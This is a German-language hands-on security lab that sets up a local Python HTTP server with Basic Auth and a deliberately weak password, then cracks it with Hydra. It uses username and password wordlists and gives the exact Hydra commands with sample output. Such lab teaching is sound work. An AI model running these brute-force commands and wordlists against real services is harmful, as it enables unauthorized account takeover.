HTTP-Dienste mit Hydra angreifen

Einführung

In diesem Lab lernen Sie, wie Sie Brute-Force-Angriffe auf HTTP-Dienste mit Hydra durchführen, einem vielseitigen Tool zum Knacken von Passwörtern. Sie werden die Einrichtung eines Python-HTTP-Servers mit einfacher Authentifizierung untersuchen und dessen Sicherheit durch systematische Credential-Angriffe testen.

Die Übung umfasst das Erstellen von Wortlisten (Wordlists), das Konfigurieren von Hydra-Parametern und das Analysieren von Angriffsergebnissen, um Authentifizierungsschwächen zu identifizieren. Diese praktische Sitzung demonstriert wesentliche Techniken zur Bewertung der Sicherheit von Webdiensten gegen Brute-Force-Versuche.

Lokalen HTTP-Server installieren

In diesem Schritt installieren Sie einen lokalen HTTP-Server mit dem integrierten Python-Modul. Dieser Server simuliert einen echten Webserver mit einfacher Authentifizierung (Basic Authentication), den wir später als Ziel für unseren Hydra Brute-Force-Angriff verwenden werden. Das Verständnis der Funktionsweise von Webservern ist grundlegend, bevor Sie versuchen, deren Sicherheit zu testen.

Das Python-Modul http.server bietet eine schnelle Möglichkeit, einen einfachen Webserver für Testzwecke zu erstellen. Obwohl es nicht für die Produktion geeignet ist, ist es perfekt für unser Lab, da es die Grundlagen des HTTP-Protokolls ohne komplexe Einrichtung demonstriert. Der Server wird standardmäßig auf Port 8000 ausgeführt.

Navigieren Sie zunächst zu Ihrem Projektverzeichnis. Dies stellt sicher, dass alle Dateien an einem Ort organisiert sind:

cd ~/project

Erstellen Sie ein dediziertes Verzeichnis für Ihre Webserverdateien. Das separate Aufbewahren von Webinhalten trägt zur Aufrechterhaltung der Organisation bei:

mkdir http_server
cd http_server

Erstellen Sie eine einfache Homepage. Diese HTML-Datei wird bereitgestellt, wenn jemand auf Ihren Webserver zugreift:

echo "<h1>Welcome to LabEx HTTP Server</h1>" > index.html

Starten Sie den Python-HTTP-Server. Das Symbol & führt ihn im Hintergrund aus, sodass Sie das Terminal weiterhin verwenden können:

python3 -m http.server 8000 &

Drücken Sie Enter, wenn Sie das Terminal weiterhin verwenden möchten.

Überprüfen Sie, ob der Server ausgeführt wird. Der Befehl netstat zeigt aktive Netzwerkverbindungen und Listening-Ports an:

netstat -tulnp | grep 8000

Sie sollten eine Ausgabe sehen, die bestätigt, dass Python auf Port 8000 lauscht:

tcp    0    0 0.0.0.0:8000    0.0.0.0:*    LISTEN    1234/python3

Testen Sie die Serverfunktionalität. Der Befehl curl ruft die Webseite ab, um zu bestätigen, dass alles funktioniert:

curl http://localhost:8000

Sie sollten den von Ihnen erstellten HTML-Inhalt erhalten, was beweist, dass der Server betriebsbereit ist:

<h1>Welcome to LabEx HTTP Server</h1>

Nachdem der einfache Webserver ausgeführt wird, sind wir bereit, im nächsten Schritt die Authentifizierung zu implementieren. Diese Grundlage ist entscheidend, da Hydra mit diesem Server genauso interagiert, wie es mit jedem echten Webserver mit einfacher Authentifizierung (Basic Authentication) interagieren würde.

HTTP-Server mit Basic Auth konfigurieren

In diesem Schritt konfigurieren Sie die Basic Authentication (einfache Authentifizierung) für den zuvor installierten HTTP-Server. Die Basic Authentication ist eine einfache Methode, bei der der Client mit jeder Anfrage einen Benutzernamen und ein Passwort sendet. Dies erstellt eine Sicherheitsebene, die wir später testen werden, indem wir versuchen, sie mit Hydra per Brute-Force zu knacken - was demonstriert, warum schwache Passwörter gefährlich sind.

Stellen Sie zunächst sicher, dass Sie sich im richtigen Verzeichnis befinden, in dem wir unseren geschützten Webserver einrichten werden:

cd ~/project/http_server

Erstellen Sie eine Passwortdatei mit dem Dienstprogramm htpasswd. Dieses Tool wird mit dem Paket apache2-utils geliefert (bereits in der LabEx VM installiert) und hilft bei der Verwaltung von Passwortdateien für die Basic Authentication:

htpasswd -c .htpasswd admin

Geben Sie bei Aufforderung password123 als Passwort ein. Wir verwenden hier absichtlich ein schwaches Passwort, um zu demonstrieren, wie leicht einfache Passwörter geknackt werden können.

Jetzt erstellen wir ein Python-Skript, um HTTP-Inhalte mit Basic Authentication bereitzustellen. Dieses Skript überprüft die Anmeldeinformationen, bevor es den Zugriff erlaubt:

nano auth_server.py

Fügen Sie den folgenden Python-Code ein. Dies erstellt einen benutzerdefinierten HTTP-Server, der:
- Basic Authentication erfordert
- Anmeldeinformationen anhand unserer .htpasswd-Datei validiert
- Inhalte nur nach erfolgreicher Authentifizierung bereitstellt

from http.server import HTTPServer, BaseHTTPRequestHandler
import base64

class AuthHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        auth_header = self.headers.get('Authorization')
        if not auth_header or not auth_header.startswith('Basic '):
            self.send_response(401)
            self.send_header('WWW-Authenticate', 'Basic realm="LabEx"')
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            self.wfile.write(b'Authentication required')
            return

        auth_decoded = base64.b64decode(auth_header[6:]).decode('utf-8')
        username, password = auth_decoded.split(':', 1)

        if username == 'admin' and password == 'password123':
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            with open('index.html', 'rb') as f:
                self.wfile.write(f.read())
        else:
            self.send_response(401)
            self.send_header('WWW-Authenticate', 'Basic realm="LabEx"')
            self.end_headers()
            self.wfile.write(b'Authentication failed')

if __name__ == '__main__':
    server_address = ('', 8000)
    httpd = HTTPServer(server_address, AuthHandler)
    print("Server running on port 8000...")
    httpd.serve_forever()

Speichern Sie die Datei (Strg+O, Enter, Strg+X in nano) und stoppen Sie den vorherigen HTTP-Server, der keine Authentifizierung hatte:

pkill -f "python3 -m http.server"

Starten Sie unseren neuen authentifizierten HTTP-Server im Hintergrund:

python3 auth_server.py &

Testen wir die Authentifizierung, indem wir versuchen, ohne Anmeldeinformationen auf den Server zuzugreifen:

curl -v http://localhost:8000

Sie sollten eine 401 Unauthorized-Antwort erhalten, was bedeutet, dass unsere Authentifizierung funktioniert.

Versuchen Sie nun, mit den korrekten Anmeldeinformationen zuzugreifen, die wir zuvor eingerichtet haben:

curl -v -u admin:password123 http://localhost:8000

Sie sollten nun den HTML-Inhalt aus Ihrer index.html-Datei sehen, was beweist, dass die Authentifizierung korrekt funktioniert.

Der Server ist nun ordnungsgemäß mit Basic Authentication geschützt und bereit für unsere Brute-Force-Angriffsdemonstration in den nächsten Schritten. Dieses Setup ahmt reale Szenarien nach, in denen Webserver Basic Auth verwenden, und zeigt sowohl, wie es funktioniert, als auch seine potenziellen Schwachstellen.

Benutzernamen- und Passwortlisten vorbereiten

In diesem Schritt erstellen Sie Wortlisten, die Hydra verwenden wird, um mögliche Benutzernamen- und Passwortkombinationen gegen die HTTP Basic Authentication zu testen. Diese Listen bilden die Grundlage für einen Wörterbuchangriff (Dictionary Attack), bei dem wir systematisch gängige Anmeldeinformationen ausprobieren, anstatt zufällig zu raten.

Navigieren Sie zunächst zu Ihrem Projektverzeichnis. Dies stellt sicher, dass alle Ihre Dateien an einem Ort organisiert bleiben:

cd ~/project

Erstellen Sie ein dediziertes Verzeichnis für Ihre Wortlisten. Wenn Sie sie getrennt aufbewahren, sind sie einfacher zu verwalten:

mkdir wordlists
cd wordlists

Erstellen Sie eine Benutzernamenlistendatei mit nano, einem einfachen Texteditor. Wir werden sie mit gängigen administrativen Benutzernamen füllen, die häufig als Standardwerte verwendet werden:

nano usernames.txt

Fügen Sie diese gängigen Benutzernamen hinzu (einen pro Zeile):

admin
root
user
test
guest
administrator

Erstellen Sie auf ähnliche Weise eine Passwortlistendatei. Dies sind Passwörter, die häufig verwendet oder leicht zu erraten sind:

nano passwords.txt

Fügen Sie diese gängigen Passwörter hinzu (einen pro Zeile):

password123
password
123456
admin
letmein
qwerty

Überprüfen Sie den Inhalt Ihrer Dateien, um sicherzustellen, dass sie korrekt erstellt wurden. Der Befehl cat zeigt den Dateiinhalt im Terminal an:

cat usernames.txt
cat passwords.txt

(Optional) Generieren Sie zusätzliche Passwörter mit crunch, einem Wortlistengenerator. Dieser Befehl erstellt bis zu 100 4-stellige Zahlenkombinationen, was zum Testen einfacher numerischer Passwörter nützlich ist:

crunch 4 4 0123456789 | head -n 100 > numbers.txt

Kombinieren Sie Ihre Passwortlisten in einer einzigen Datei. Dies gibt Hydra mehr Variationen zum Testen während des Angriffs:

cat passwords.txt numbers.txt > combined_passwords.txt

Überprüfen Sie die kombinierte Passwortliste. Der Befehl head zeigt nur die ersten 10 Zeilen an, sodass Sie schnell überprüfen können, ob die Zusammenführung funktioniert hat:

head combined_passwords.txt

Sie sollten eine Ausgabe wie diese sehen:

password123
password
123456
admin
letmein
qwerty
0000
0001
0002
0003

Diese Wortlisten enthalten sowohl die korrekten Anmeldeinformationen (admin/password123), die wir zuvor konfiguriert haben, als auch viele falsche Kombinationen. Dieses Setup simuliert realistisch, wie ein Angreifer versuchen würde, einen Login per Brute-Force zu erzwingen, indem er zahlreiche mögliche Anmeldeinformationen ausprobiert. Im nächsten Schritt verwenden wir Hydra, um das Testen dieser Kombinationen gegen unseren HTTP-Server zu automatisieren.

Hydra-Angriff auf den HTTP-Dienst ausführen

In diesem Schritt verwenden Sie Hydra, um einen Brute-Force-Angriff (Angriff durch rohe Gewalt) gegen den HTTP Basic Authentication-Dienst durchzuführen, den Sie zuvor konfiguriert haben. Hydra ist ein leistungsstarkes Tool zum Knacken von Passwörtern, das systematisch alle Benutzernamen-/Passwortkombinationen aus Wortlisten ausprobiert, um gültige Anmeldeinformationen zu finden. Dies demonstriert, warum schwache Passwörter anfällig für automatisierte Angriffe sind.

Stellen Sie zunächst sicher, dass Ihr HTTP-Server noch ausgeführt wird. Dieser Befehl prüft, ob der Serverprozess vorhanden ist, und startet ihn bei Bedarf neu:

pgrep -fa "python3 auth_server.py" || cd ~/project/http_server && python3 auth_server.py &

Navigieren Sie zu Ihrem Wortlistenverzeichnis, in dem Sie die Benutzernamen- und Passwortdateien gespeichert haben. Diese Dateien enthalten die Kombinationen, die Hydra testen wird:

cd ~/project/wordlists

Führen Sie Hydra mit diesem Befehl aus, um den HTTP-Dienst anzugreifen. Das Flag -L gibt die Benutzernamenliste an, -P die Passwortliste und http-get / gibt an, dass wir eine einfache HTTP GET-Anfrage angreifen:

hydra -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get /

Beobachten Sie die Ausgabe von Hydra, während es Kombinationen ausprobiert. Wenn der Angriff erfolgreich ist, sehen Sie eine Ausgabe, die zeigt, welche Anmeldeinformationen funktioniert haben:

[DATA] attacking http-get://localhost:8000/
[8000][http-get] host: localhost   login: admin   password: password123
1 of 1 target successfully completed, 1 valid password found

Um eine detailliertere Ausgabe einschließlich jedes Versuchs von Hydra anzuzeigen, fügen Sie das Flag -v (verbose - ausführlich) hinzu:

hydra -v -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get /

(Optional) Speichern Sie die Ergebnisse zur späteren Analyse in einer Datei. Das Flag -o gibt die Ausgabedatei an:

hydra -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get / -o hydra_results.txt

Überprüfen Sie die gespeicherte Ergebnisdatei, um die erfolgreichen Anmeldeinformationen anzuzeigen:

cat hydra_results.txt

Der Angriff sollte die Anmeldeinformationen (admin/password123), die wir zuvor eingerichtet haben, erfolgreich finden. Dies zeigt, wie schnell schwache Anmeldeinformationen durch automatisierte Brute-Force-Angriffe entdeckt werden können, was die Bedeutung starker Passwörter unterstreicht.

Zusammenfassung

In diesem Lab haben Sie gelernt, wie Sie mit Python einen lokalen HTTP-Server einrichten und eine Basic Authentication (grundlegende Authentifizierung) für Sicherheitszwecke implementieren. Der Prozess umfasste das Erstellen von Webverzeichnissen, das Konfigurieren der Authentifizierung mit htpasswd und das Überprüfen der Serverfunktionalität mit gängigen Tools wie curl.

Darüber hinaus haben Sie praktische Erfahrungen in der Vorbereitung von Anmeldeinformationslisten und der Durchführung von Brute-Force-Angriffen gegen HTTP-Dienste mit Hydra gesammelt. Diese Übung hat die Bedeutung starker Passwörter und die Schwachstellen von Basic Authentication-Mechanismen bei Verwendung schwacher Anmeldeinformationen demonstriert.